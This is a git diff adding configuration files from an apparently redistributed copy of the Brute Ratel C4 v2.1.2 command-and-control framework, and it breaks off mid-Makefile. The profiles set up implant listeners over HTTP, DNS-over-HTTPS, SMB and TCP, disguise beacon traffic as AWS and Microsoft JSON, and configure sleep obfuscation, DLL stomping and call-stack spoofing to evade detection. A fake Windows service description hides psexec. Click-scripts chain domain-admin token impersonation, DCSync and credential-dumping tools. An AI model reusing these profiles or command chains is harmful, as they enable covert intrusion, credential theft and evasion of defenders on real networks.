b/BruteRatel-v2.1.2/lib64-windows/ratel.conf @@ -0,0 +1,8 @@ +{ + "ratel_servers": { + "172.16.219.1:8443": { + "pass": "password", + "user": "admin" + } + } +} diff --git a/BruteRatel-v2.1.2/lib64-windows/更多资源关注公众号棉花糖fans.png b/BruteRatel-v2.1.2/lib64-windows/更多资源关注公众号棉花糖fans.png new file mode 100644 index 0000000..aec4491 Binary files /dev/null and b/BruteRatel-v2.1.2/lib64-windows/更多资源关注公众号棉花糖fans.png differ diff --git a/BruteRatel-v2.1.2/profiles/autoruns.json b/BruteRatel-v2.1.2/profiles/autoruns.json new file mode 100644 index 0000000..a4d7815 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/autoruns.json @@ -0,0 +1,8 @@ +{ + "autoruns": [ + "sleep 0", + "set_child werfault.exe", + "pwd", + "userinfo" + ] +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/profiles/badger_entry.json b/BruteRatel-v2.1.2/profiles/badger_entry.json new file mode 100644 index 0000000..7327d68 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/badger_entry.json @@ -0,0 +1,86 @@ +{ + "b-0": { + "b_arch": "x64", + "b_bld": "19045", + "b_c2": "https://172.16.219.1:443", + "b_c2_id": "primary-c2", + "b_cookie": "4DQM32BK343DTOLHC0VCELS2GL4NG1IV", + "b_h_name": "DESKTOP-G15FRLS", + "b_ip": "192.16.219.145", + "b_l_ip": "172.16.219.1", + "b_p_name": "Z:\\docs\\loader\\badger.exe", + "b_pid": "880", + "b_seen": "06-20-2024 06:24:32", + "b_tid": "5016", + "b_uid": "vendetta", + "b_wver": "x64/10.0", + "b_type": "", + "dead": false, + "is_pvt": false, + "pipeline": "Direct", + "pvt_master": "" + }, + "b-2": { + "b_arch": "x64", + "b_bld": "19045", + "b_c2": "https://172.16.219.1:443", + "b_c2_id": "primary-c2", + "b_cookie": "678BDLSA7TGNSFJ7PNJSJCE22BFPM6B1", + "b_h_name": "DESKTOP-G15FRLS", + "b_ip": "192.16.219.145", + "b_l_ip": "172.16.219.1", + "b_p_name": "Z:\\docs\\loader\\badger.exe", + "b_pid": "4620", + "b_seen": "06-20-2024 06:24:32", + "b_tid": "9760", + "b_uid": "vendetta", + "b_wver": "x64/10.0", + "b_type": "", + "dead": false, + "is_pvt": false, + "pipeline": "Direct", + "pvt_master": "" + }, + "b-3": { + "b_arch": "x64", + "b_bld": "19045", + "b_c2": "https://172.16.219.1:443", + "b_c2_id": "primary-c2", + "b_cookie": "L0JPER2MVEKS5C3TESV2TOC61TUKAP8C", + "b_h_name": "DESKTOP-G15FRLS", + "b_ip": "192.16.219.145", + "b_l_ip": "172.16.219.1", + "b_p_name": "Z:\\docs\\loader\\badger.exe", + "b_pid": "1956", + "b_seen": "06-20-2024 06:24:32", + "b_tid": "3680", + "b_uid": "vendetta", + "b_wver": "x64/10.0", + "b_type": "min", + "dead": false, + "is_pvt": false, + "pipeline": "Direct", + "pvt_master": "" + }, + "b-4": { + "b_arch": "x64", + "b_bld": "19045", + "b_c2": "https://172.16.219.1:443", + "b_c2_id": "primary-c2", + "b_cookie": "BQ93KOJJUJFNKNP71BDQNM8O0M2Q9ML6", + "b_h_name": "DESKTOP-G15FRLS", + "b_ip": "192.16.219.145", + "b_l_ip": "172.16.219.1", + "b_p_name": "Z:\\docs\\loader\\badger.exe", + "b_pid": "7800", + "b_seen": "06-20-2024 06:24:31", + "b_tid": "1104", + "b_uid": "vendetta", + "b_wver": "x64/10.0", + "b_type": "", + "dead": false, + "is_pvt": false, + "pipeline": "Direct", + "pvt_master": "" + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/profiles/basic-profile.json b/BruteRatel-v2.1.2/profiles/basic-profile.json new file mode 100644 index 0000000..29d0b6c --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/basic-profile.json @@ -0,0 +1,142 @@ +{ + "admin_list": { + "admin": "password" + }, + "user_list": { + "ratel": "ratel" + }, + "validate_useragent": true, + "file_upload_chunk": 4194304, + "c2_handler": "0.0.0.0:8443", + "comm_enc_key": "test@123", + "credentials": [ + { + "creddomain": "darkvortex.corp", + "crednote": "Domain Admin Password", + "credpass": "admin@123", + "creduser": "administrator" + } + ], + "listeners": { + "primary-c2": { + "append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}", + "append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}", + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "abcd@123" + ], + "c2_uri": [ + "en/ec2/pricing", + "locale=en" + ], + "die_offline": false, + "empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n", + "request_headers": { + "Content-Type": "application/json", + "Referer": "microsoft.com" + }, + "response_headers": { + "Server": "Apache/2.2.14 (Win32)", + "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", + "X-Cache-Info": "not cacheable; meta data too large" + }, + "host": "172.16.219.1", + "is_random": true, + "os_type": "windows", + "port": "443", + "prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"", + "prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"", + "rotational_host": "172.16.219.1", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "sleep": 1, + "delay_exec": 0, + "jitter": 0, + "stomp": "chakra.dll", + "obfsleep": "APC", + "data_encoding": "Base64", + "entrypoint": "user32.dll!DwmGetDxSharedSurface", + "entrypoint_offset": "0x1c", + "exec_method": "APC", + "rop_dll": "shcore.dll", + "stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1", + "killdate": "01 Dec 24 00:00 IST", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS" + } + }, + "payload_config": { + "python-c2": { + "append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}", + "append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}", + "c2_auth": "abcd@123", + "c2_uri": [ + "en/ec2/pricing", + "locale=en" + ], + "data_encoding": "Base64", + "delay_exec": 0, + "die_offline": false, + "empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n", + "entrypoint": "user32.dll!DwmGetDxSharedSurface", + "entrypoint_offset": "0x1c", + "exec_method": "Thread-0", + "host": "172.16.219.1", + "jitter": 0, + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "01 Dec 24 00:00 IST", + "obfsleep": "APC", + "port": "10443", + "mutate_data_method": "COFF", + "mutate_data_file": "/media/veracrypt1/brute-ratel/ratel-war-room/releases/adhoc_scripts/mutate_data_sample/modify_http.o", + "prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"", + "prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"", + "request_headers": { + "Content-Type": "application/json", + "Referer": "microsoft.com" + }, + "rop_dll": "shcore.dll", + "sleep": 1, + "ssl": true, + "stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1", + "stomp": "chakra.dll", + "type": "HTTP", + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" + }, + "smb": { + "c2_auth": "abcd@123", + "smb_pipe": "\\\\.\\pipe\\mynamedpipe", + "type": "SMB", + "stomp": "chakra.dll", + "obfsleep": "APC", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "sleep": 1, + "jitter": 0, + "delay_exec": 0, + "rop_dll": "shcore.dll", + "stack_chain": "win32u.dll!NtUserGetMessage+0x14,user32.dll!GetMessageW+0x2e,combase.dll!CoDisconnectContext+0xb08,combase.dll!CoDisconnectContext+0xa40,combase.dll!CoRevokeInitializeSpy+0x1100,combase.dll!CoRevokeInitializeSpy+0x1089", + "killdate": "01 Dec 24 00:00 IST" + }, + "tcp": { + "c2_auth": "abcd@123", + "host": "127.0.0.1", + "port": "10000", + "type": "TCP", + "stomp": "chakra.dll", + "obfsleep": "Pooling-1", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "sleep": 1, + "jitter": 0, + "delay_exec": 0, + "rop_dll": "shcore.dll", + "stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1", + "killdate": "01 Dec 24 00:00 IST" + } + }, + "ssl_cert": "cert.pem", + "ssl_key": "key.pem" +} diff --git a/BruteRatel-v2.1.2/profiles/clickscripts.json b/BruteRatel-v2.1.2/profiles/clickscripts.json new file mode 100644 index 0000000..51af7a7 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/clickscripts.json @@ -0,0 +1,49 @@ +{ + "click_script": { + "wmiexec": [ + "wmiexec notepad", + "wmiexec explorer", + "wmiexec cmd" + ], + "wmiquery": [ + "wmiquery select * from win32_operatingsystem", + "wmiquery select * from win32_process", + "wmiquery select * from win32_service", + "wmiquery select * from win32_networkadapter" + ], + "wmiquery-creds": [ + "set_wmiconfig root\\SecurityCenter2", + "wmiquery select * from AntiVirusProduct", + "reset_wmiconfig" + ], + "psreflect": [ + "set_child werfault.exe", + "psreflect echo $psversiontable", + "psreflect Get-WMIObject -query \"select * from win32_operatingsystem\"" + ], + "run": [ + "run cmd /c wmic bios get Manufacturer,Name,Version", + "run ipconfig" + ], + "schtasks": [ + "schtquery", + "make_token network darkvortex.corp administrator admin@123", + "schtquery vortexdc full", + "revtoken" + ], + "dcsync-token": [ + "make_token network darkvortex.corp administrator admin@123", + "dcsync", + "dcsync vendetta", + "revtoken" + ], + "ldap-sentinel": [ + "objectClass=user", + "sentinel domain (&(objectClass=user)(objectCategory=person)(servicePrincipalName=*))" + ], + "sharp-reflection": [ + "monologue", + "seatbelt" + ] + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/profiles/commands.json b/BruteRatel-v2.1.2/profiles/commands.json new file mode 100644 index 0000000..7d33557 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/commands.json @@ -0,0 +1,79 @@ +{ + "register_obj": { + "boftest64": { + "arch": "x64", + "file_path": "server_confs/bofs/obj/decltest64.o", + "description": "Sample BOF file to show x64 capabilities", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "decltest64", + "minimumArgCount": 1 + }, + "boftest86": { + "arch": "x86", + "file_path": "server_confs/bofs/obj/decltest86.o", + "description": "Sample BOF file to show x86 capabilities", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "decltest86", + "minimumArgCount": 1 + } + }, + "register_pe": { + "seatbelt": { + "file_path": "server_confs/sample_profile_pe/Seatbelt.exe", + "description": "Runs Seatbelt C# executable", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "seatbelt", + "minimumArgCount": 1 + } + }, + "register_pe_inline": { + "monologue": { + "file_path": "server_confs/sample_profile_pe/InternalMonologue.exe", + "description": "Runs InternalMonologue C# executable", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "monologue", + "minimumArgCount": 1 + } + }, + "register_exe": { + "handles": { + "arch" : "x64", + "file_path": "server_confs/sample_profile_pe/handle64.exe", + "description": "Lists all handles from all processes. Uses sysinternal's handle64.exe executable to run in memory", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "handles", + "minimumArgCount": 1 + } + }, + "register_dll": { + "boxreflect": { + "arch": "x64", + "file_path": "server_confs/sample_profile_pe/boxreflect.dll", + "description": "Loads a test reflective dll message box", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "boxcheck", + "minimumArgCount": 1, + "replace_str": { + "boxit": "\\x00\\x00\\x00\\x00\\x00", + "!This program cannot ": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00", + "be run in DOS mode.": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00" + } + } + }, + "register_psexec": { + "x64": "/home/paranoidninja/Documents/BadgerSvc64.exe", + "x86": "/home/paranoidninja/Documents/BadgerSvc86.exe" + } +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/profiles/doh.json b/BruteRatel-v2.1.2/profiles/doh.json new file mode 100644 index 0000000..b453b04 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/doh.json @@ -0,0 +1,50 @@ +{ + "admin_list": { + "admin": "password" + }, + "validate_useragent": true, + "c2_handler": "0.0.0.0:8443", + "comm_enc_key": "test@123", + "listeners": { + "doh-c2": { + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "abcd@123" + ], + "c2_uri": [ + "dns-query" + ], + "request_headers": { + "Content-Type": "application/dns-message" + }, + "checkinA": "8.8.8.8", + "die_offline": false, + "dnshost": "dns1.evasion-labs.com,dns2.evasion-labs.com", + "rotational_host": "dns.google", + "host": "172.31.47.169", + "idleA": "8.8.4.4", + "spoofTxt": "google-site-verification=wD8N7i1JTNTkezJ49swvWW48f8_9xveREV4oB-0Hf5o", + "is_random": true, + "os_type": "windows", + "port": "53", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "obfsleep": "Pooling-0", + "stomp": "chakra.dll", + "sleep": 1, + "rop_dll": "shcore.dll", + "entrypoint": "ntdll!TpReleaseCleanupGroupMembers", + "entrypoint_offset": "0x450", + "stack_chain": "win32u.dll!NtUserMsgWaitForMultipleObjectsEx+0x14,user32.dll!MsgWaitForMultipleObjectsEx+0x9e,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1", + "jitter": 0, + "delay_exec": 0, + "dns_interval": 100, + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "31 Dec 24 12:45 IST" + } + }, + "ssl_cert": "cert.pem", + "ssl_key": "key.pem" +} diff --git a/BruteRatel-v2.1.2/profiles/full-profile.json b/BruteRatel-v2.1.2/profiles/full-profile.json new file mode 100644 index 0000000..d7e5a8d --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/full-profile.json @@ -0,0 +1,296 @@ +{ + "admin_list": { + "admin": "password" + }, + "click_script": { + "wmiexec": [ + "wmiexec notepad", + "wmiexec explorer", + "wmiexec cmd" + ], + "wmiquery": [ + "wmiquery select * from win32_operatingsystem", + "wmiquery select * from win32_process", + "wmiquery select * from win32_service", + "wmiquery select * from win32_networkadapter" + ], + "wmiquery-creds": [ + "set_wmiconfig root\\SecurityCenter2", + "wmiquery select * from AntiVirusProduct", + "reset_wmiconfig" + ], + "psreflect": [ + "set_child werfault.exe", + "psreflect echo $psversiontable", + "psreflect Get-WMIObject -query \"select * from win32_operatingsystem\"" + ], + "run": [ + "run cmd /c wmic bios get Manufacturer,Name,Version", + "run ipconfig" + ], + "schtasks": [ + "schtquery", + "make_token network darkvortex.corp administrator admin@123", + "schtquery vortexdc full", + "revtoken" + ], + "dcsync-token": [ + "make_token network darkvortex.corp administrator admin@123", + "dcsync", + "dcsync vendetta", + "revtoken" + ], + "ldap-sentinel": [ + "objectClass=user", + "sentinel domain (&(objectClass=user)(objectCategory=person)(servicePrincipalName=*))" + ], + "sharp-reflection": [ + "monologue", + "seatbelt" + ] + }, + "autoruns": [ + "sleep 0" + ], + "c2_handler": "0.0.0.0:8443", + "comm_enc_key": "WeiJeeWeiCufae2y", + "credentials": [ + { + "creddomain": "darkvortex.corp", + "crednote": "Domain Admin Password", + "credpass": "admin@123", + "creduser": "administrator" + } + ], + "listeners": { + "primary-c2": { + "append": "\"}", + "append_response": "\"}", + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "abcd@123" + ], + "c2_uri": [ + "en/ec2/pricing", + "locale=en" + ], + "die_offline": false, + "empty_response": "{\"Info\":\"Ok\"}", + "request_headers": { + "content-type": "application/json", + "referrer": "microsoft.com" + }, + "response_headers": { + "Server": "Apache/2.2.14 (Win32)", + "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", + "X-Cache-Info": "not cacheable; meta data too large" + }, + "host": "172.16.219.1", + "is_random": true, + "os_type": "windows", + "port": "443", + "prepend": "{\"channel\":\"", + "prepend_response": "{\"Output\":\"", + "rotational_host": "172.16.219.1", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "stomp": "chakra.dll", + "sleep": 1, + "jitter": 0, + "delay_exec": 200, + "obfsleep": "APC", + "data_encoding": "Base64", + "fallback": "fallback-c2", + "fallback_counter": 10, + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "30 Jan 24 12:45 IST" + }, + "fallback-c2": { + "append": "\"}", + "append_response": "\"}", + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "password" + ], + "c2_uri": [ + "test.asp" + ], + "die_offline": false, + "empty_response": "{\"HTTP\":\"OK\"}", + "request_headers": { + "content-type": "application/octet", + "referrer": "google.com" + }, + "response_headers": { + "X-Backend-Server": "developer1.sec3912.scl3.mozilla.com", + "X-Cache-Info": "not cacheable; meta data too large" + }, + "host": "172.16.219.1", + "is_random": true, + "os_type": "windows", + "port": "80", + "prepend": "{\"cookie\":\"", + "prepend_response": "{\"blob\":\"", + "rotational_host": "172.16.219.1", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "sleep": 1, + "jitter": 0, + "obfsleep": "Pooling-0", + "data_encoding": "Base64", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "30 Jan 24 12:45 IST" + } + }, + "payload_config": { + "fallback-c2": { + "append": "\"}", + "append_response": "\"}", + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "password" + ], + "c2_uri": [ + "test.asp" + ], + "die_offline": false, + "empty_response": "{\"HTTP\":\"OK\"}", + "request_headers": { + "content-type": "application/octet", + "referrer": "google.com" + }, + "response_headers": { + "X-Backend-Server": "developer1.sec3912.scl3.mozilla.com", + "X-Cache-Info": "not cacheable; meta data too large" + }, + "host": "172.16.219.1", + "is_random": true, + "os_type": "windows", + "port": "80", + "prepend": "{\"cookie\":\"", + "prepend_response": "{\"blob\":\"", + "rotational_host": "172.16.219.1", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "sleep": 1, + "jitter": 0, + "obfsleep": "Pooling-0", + "data_encoding": "Base64", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "30 Jan 24 12:45 IST" + }, + "smb": { + "c2_auth": "abcd@123", + "smb_pipe": "\\\\.\\pipe\\mynamedpipe", + "type": "SMB", + "stomp": "chakra.dll", + "obfsleep": "APC", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "30 Jan 24 12:45 IST" + }, + "tcp": { + "c2_auth": "abcd@123", + "host": "127.0.0.1", + "port": "10000", + "type": "TCP", + "stomp": "chakra.dll", + "obfsleep": "Pooling-1", + "key_strategy_type": "hostname", + "key_strategy_value": "DESKTOP-G15FRLS", + "killdate": "30 Jan 24 12:45 IST" + } + }, + "psexec_config": { + "psexec_svc_desc": "Manages universal application core process that in Windows 8 and continues in Windows 10. It is used to determine whether universal apps installed from the Windows Store are declaring all of their permissions, like being able to access your telemetry, location or microphone. It helps to transact records of your universal apps with the trust and privacy settings of user.", + "psexec_svc_name": "TransactionBrokerService" + }, + "ssl_cert": "cert.pem", + "ssl_key": "key.pem", + "webhook_listener": { + "primary-c2": { + "badger_init": false, + "badger_log": false, + "webhook_host": "https://localhost:9443" + } + }, + "register_obj": { + "boftest64": { + "arch": "x64", + "file_path": "server_confs/bofs/obj/decltest64.o", + "description": "Sample BOF file to show x64 capabilities", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "decltest64", + "minimumArgCount": 1 + }, + "boftest86": { + "arch": "x86", + "file_path": "server_confs/bofs/obj/decltest86.o", + "description": "Sample BOF file to show x86 capabilities", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "decltest86", + "minimumArgCount": 1 + } + }, + "register_pe": { + "seatbelt": { + "file_path": "server_confs/sample_profile_pe/Seatbelt.exe", + "description": "Runs Seatbelt C# executable", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "seatbelt", + "minimumArgCount": 1 + } + }, + "register_pe_inline": { + "monologue": { + "file_path": "server_confs/sample_profile_pe/InternalMonologue.exe", + "description": "Runs InternalMonologue C# executable", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "monologue", + "minimumArgCount": 1 + } + }, + "register_exe": { + "handles": { + "arch" : "x64", + "file_path": "server_confs/sample_profile_pe/handle64.exe", + "description": "Lists all handles from all processes. Uses sysinternal's handle64.exe executable to run in memory", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "handles", + "minimumArgCount": 1 + } + }, + "register_dll": { + "boxreflect": { + "arch": "x64", + "file_path": "server_confs/sample_profile_pe/boxreflect.dll", + "description": "Loads a test reflective dll message box", + "artifact": "WINAPI", + "mainArgs": "NA", + "optionalArg": "NA", + "example": "boxcheck", + "minimumArgCount": 1, + "replace_str": { + "boxit": "\\x00\\x00\\x00\\x00\\x00", + "!This program cannot ": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00", + "be run in DOS mode.": "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00" + } + } + } +} diff --git a/BruteRatel-v2.1.2/profiles/http.json b/BruteRatel-v2.1.2/profiles/http.json new file mode 100644 index 0000000..71f2dbb --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/http.json @@ -0,0 +1,43 @@ +{ + "listeners": { + "test-c2": { + "append": "\"}", + "append_response": "\"}", + "auth_count": 1, + "auth_type": false, + "c2_authkeys": [ + "password" + ], + "c2_uri": [ + "test.asp" + ], + "die_offline": true, + "empty_response": "{\"HTTP\":\"SUCCESS\"}", + "request_headers": { + "content-type": "application/octet", + "referrer": "google.com" + }, + "response_headers": { + "X-Backend-Server": "developer1.sec3912.scl3.mozilla.com", + "X-Cache-Info": "not cacheable; meta data too large" + }, + "host": "172.16.219.1", + "is_random": true, + "os_type": "windows", + "port": "8080", + "prepend": "{\"cookie\":\"", + "prepend_response": "{\"blob\":\"", + "rotational_host": "172.16.219.1", + "ssl": true, + "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", + "stomp": "chakra.dll", + "sleep": 1, + "delay_exec": 200, + "jitter": 0, + "obfsleep": "Pooling-1", + "data_encoding": "Base64", + "fallback": "fallback-c2", + "fallback_counter": 3 + } + } +} diff --git a/BruteRatel-v2.1.2/profiles/payload.json b/BruteRatel-v2.1.2/profiles/payload.json new file mode 100644 index 0000000..9a03e33 --- /dev/null +++ b/BruteRatel-v2.1.2/profiles/payload.json @@ -0,0 +1,20 @@ +{ + "xmlhttp_profile" : { + "append": "\n \n\n", + "c2_auth": "abcd@123", + "c2_uri": [ + "previous-versions/windows", + "latest/developerguide/documents-batch-xml.html" + ], + "die_offline": false, + "request_headers": { + "Content-Type": "application/xhtml+xml" + }, + "host": "192.168.0.142", + "port": "10443", + "prepend": "\n\n \n Gambardella, Matthew\n XML Developer's Guide\n Computer\n 44.95\n 2000-10-01\n ", + "ssl": true, + "type": "HTTP", + "useragent": "Mozilla" + } +} diff --git a/BruteRatel-v2.1.2/server_confs/.DS_Store b/BruteRatel-v2.1.2/server_confs/.DS_Store new file mode 100644 index 0000000..cb7fa56 Binary files /dev/null and b/BruteRatel-v2.1.2/server_confs/.DS_Store differ diff --git a/BruteRatel-v2.1.2/server_confs/badger_import.json b/BruteRatel-v2.1.2/server_confs/badger_import.json new file mode 100644 index 0000000..6298d81 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/badger_import.json @@ -0,0 +1,23 @@ +{ + "b-0": { + "b_arch": "x64", + "b_bld": "19045", + "b_c2": "https://172.16.219.1:443", + "b_c2_id": "primary-c2", + "b_cookie": "IRF5OFURBV24VA33DP6NM2ELL7U7AUNS", + "b_h_name": "DESKTOP-G15FRLS", + "b_ip": "192.16.219.145", + "b_l_ip": "172.16.219.1", + "b_p_name": "Z:\\docs\\loader\\badger.exe", + "b_pid": "8600", + "b_seen": "06-10-2024 04:23:52", + "b_tid": "8788", + "b_uid": "vendetta", + "b_type": "", + "b_wver": "x64/10.0", + "dead": false, + "is_pvt": false, + "pipeline": "Direct", + "pvt_master": "" + } +} diff --git a/BruteRatel-v2.1.2/server_confs/bofs/Makefile b/BruteRatel-v2.1.2/server_confs/bofs/Makefile new file mode 100644 index 0000000..eb1f2e2 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/Makefile @@ -0,0 +1,23 @@ +samples: + x86_64-w64-mingw32-gcc decltest.c -c -o obj/decltest64.o -m64 + x86_64-w64-mingw32-gcc getdc.c -c -o obj/getdc64.o -m64 + i686-w64-mingw32-gcc decltest.c -c -o obj/decltest86.o -m32 + i686-w64-mingw32-gcc getdc.c -c -o obj/getdc86.o -m32 + x86_64-w64-mingw32-gcc stack_spoofing.c -c -o obj/stack_spoofing64.o -m64 + i686-w64-mingw32-gcc stack_spoofing.c -c -o obj/stack_spoofing86.o -m32 + +contact_harvester: + x86_64-w64-mingw32-gcc harvester.c -c -o obj/harvester64.o -m64 + i686-w64-mingw32-gcc harvester.c -c -o obj/harvester86.o -m32 + +shadowclone: + x86_64-w64-mingw32-gcc 